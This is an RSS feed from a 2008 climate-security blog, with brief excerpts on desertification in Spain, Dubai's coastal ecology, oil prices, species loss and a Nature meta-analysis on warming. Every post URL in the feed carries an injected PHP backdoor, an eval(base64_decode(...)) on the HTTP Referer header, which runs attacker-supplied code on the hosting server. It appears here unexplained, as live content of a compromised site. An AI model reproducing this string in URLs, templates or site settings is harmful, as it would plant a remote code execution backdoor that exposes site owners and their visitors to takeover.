http://blog.climatesecurity.org from Conservation & Climate Security International Mon, 16 Jun 2008 11:59:21 +0000 http://backend.userland.com/rss092 en If you can only understand things through comic books, check out www.funnyweather.org, a comic book guide to global warming. http://blog.climatesecurity.org/2008/06/16/funny-weather/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ As we wrote in a recent blog, global warming is less scary perhaps than the combination of environmental degradation and global warming.  The New York Times recently came out with an interesting article on how the combination of poor natural resources management and climate change are causing desertification in Spain ... http://blog.climatesecurity.org/2008/06/16/the-rain-in-spain-is-somewhere-else-now/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A Guest Blog by  Mohammad A. Chakaki Standing amidst Dubai’s tall buildings and immaculate landscaping or gazing out at the sandy desert beyond all the construction, one could be forgiven for not realizing that this emirate’s dominant ecology is coastal and marine. I certainly wasn’t looking there when I first got to ... http://blog.climatesecurity.org/2008/06/11/adaptation-and-organic-development-part-i/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ With the tremendous increases in the price of fuel (the price of light sweet crude, the benchmark indicator for crude oil prices, went up over $10 in a single day on the New York Mercantile Exchange for July delivery - almost 10%), including setting up a new record high of ... http://blog.climatesecurity.org/2008/06/08/fly-derrie-air/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ My favorite website - www.mongabay.com - has a terrific interview with Dr. Rodolfo Dirzo, an ecologist at Stanford University, on defaunation (the full interview is available here).  Defaunation is the removal of species from an ecosystem through different processes, including hunting, deforestation, wildlife trade, invasive species, and extinction (both local ... http://blog.climatesecurity.org/2008/05/31/no-where-to-run-species-extinction-and-climate-change/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A major meta-analysis study published in the May 15 edition of Nature that combined nearly 30,000 data sets on biological and physical changes around the world collected for at least 20 years between 1970 to 2004 with a detailed database of global temperature change found, not surprisingly, that the biological ... http://blog.climatesecurity.org/2008/05/20/lots-of-signal-no-noise-new-meta-analysis-study-on-climate-change/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This article has some great images showing 20 of the world's travel destinations that are threatened by climate change. These images not only help to visualize where climate change will cause damages, it highlights the fact that the entire world will be impacted. And it's important to note that many of ... http://blog.climatesecurity.org/2008/05/14/not-just-pretty-places-more-on-climate-change-tourism/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/